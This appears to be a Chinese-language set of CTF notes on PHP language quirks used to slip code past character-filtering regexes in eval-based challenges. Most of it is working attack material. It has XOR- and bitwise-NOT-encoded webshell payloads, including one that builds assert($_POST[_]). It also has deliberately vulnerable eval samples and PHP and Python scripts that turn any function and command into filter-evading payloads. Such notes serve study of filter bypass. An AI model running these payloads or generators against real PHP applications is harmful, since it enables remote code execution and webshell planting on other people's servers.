php特性
(1)代码中没有引号的字符都自动作为字符串
php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。这也是为什么传马的时候
$_GET['cmd']
和$_GET[cmd]
都可以
(2)Ascii码大于 0x7F 的字符都会被当作字符串
(3)php 在获取 HTTP GET 参数的时候默认是获得到了字符串类型
(4)PHP中的的大括号(花括号{})
$str{4}
在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理
${_GET}{cmd}
(5)字符串可以用!操作符来进行布尔类型的转换
1. <?php 2. var_dump(@a); //string(1) "a" 3. var_dump(!@a); //bool(false) 4. var_dump(!!@a); //bool(true)
(6)PHP的弱类型特性
因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true2,也就是('>'>'<')+('>'>'<')2
(7)a-zA-Z使用自增变成下一个字母
'a'++ => 'b'
,'b'++ => 'c'
(8)版本问题
php5中assert是一个函数,我们可以通过
$f='assert';$f(...);
这样的方法来动态执行任意代码。但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。
1. <?php 2. if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { 3. eval($_GET['shell']); 4. } 5. else{ 6. exit('coleak'); 7. } 8. ?>
异或|取反
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
UTF-8编码的某个汉字,并将其中某个字符取出来,比如
'和'{2}
的结果是"\x8c"
,其取反即为字母s。要获取'和'{2}
,就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2
,也就是('>'>'<')+('>'>'<')==2
1. $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; 2. $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; 3. $___=$$__; 4. $_($___[_]); // assert($_POST[_]);
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
数组连接转换
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为
Array,
再取这个字符串的第一个字母,就可以获得'A'了。
php7|执行动态函数
PHP 5 和 PHP 7 的区别
(1)在 PHP 5 中,
assert()
是一个函数,我们可以用$_=assert;$_()
这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()
变成了一个和eval()
一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)(2)PHP5中,是不支持
($a)()
这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')();
1. <?php 2. if(isset($_GET['code'])){ 3. $code = $_GET['code']; 4. if(strlen($code)>35){ 5. die("Long."); 6. } 7. if(preg_match("/[A-Za-z0-9_$]+/",$code)){ 8. die("NO."); 9. } 10. eval($code); 11. }else{ 12. highlight_file(__FILE__); 13. }
code=(~%8F%97%8F%96%91%99%90)();
异或绕过的脚本
1. <?php 2. 3. $myfile = fopen("xor_rce.txt", "w"); 4. $contents=""; 5. for ($i=0; $i < 256; $i++) { 6. for ($j=0; $j <256 ; $j++) { 7. 8. if($i<16){ 9. $hex_i='0'.dechex($i); 10. } 11. else{ 12. $hex_i=dechex($i); 13. } 14. if($j<16){ 15. $hex_j='0'.dechex($j); 16. } 17. else{ 18. $hex_j=dechex($j); 19. } 20. $preg = '/[a-z0-9]/i'; // 根据题目给的正则表达式修改即可 21. if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ 22. echo ""; 23. } 24. 25. else{ 26. $a='%'.$hex_i; 27. $b='%'.$hex_j; 28. $c=(urldecode($a)^urldecode($b)); 29. if (ord($c)>=32&ord($c)<=126) { 30. $contents=$contents.$c." ".$a." ".$b."\n"; 31. } 32. } 33. 34. } 35. } 36. fwrite($myfile,$contents); 37. fclose($myfile);
1. # -*- coding: utf-8 -*- 2. def action(arg): 3. s1="" 4. s2="" 5. for i in arg: 6. f=open('xor_rce.txt',"r") 7. while True: 8. t=f.readline() 9. if t=="": 10. break 11. if t[0]==i: 12. #print(i) 13. s1+=t[2:5] 14. s2+=t[6:9] 15. break 16. f.close() 17. output="(\""+s1+"\"^\""+s2+"\")" 18. return(output) 19. while True: 20. param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" 21. print(param)
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%09%0b%03%0f%0e%06%09%07"^"%60%7b%60%60%60%60%60%60");
URL 编码取反绕过脚本
1. <?php 2. //在命令行中运行 3. 4. fwrite(STDOUT,'[+]your function: '); 5. 6. $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 7. 8. fwrite(STDOUT,'[+]your command: '); 9. 10. $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 11. 12. echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';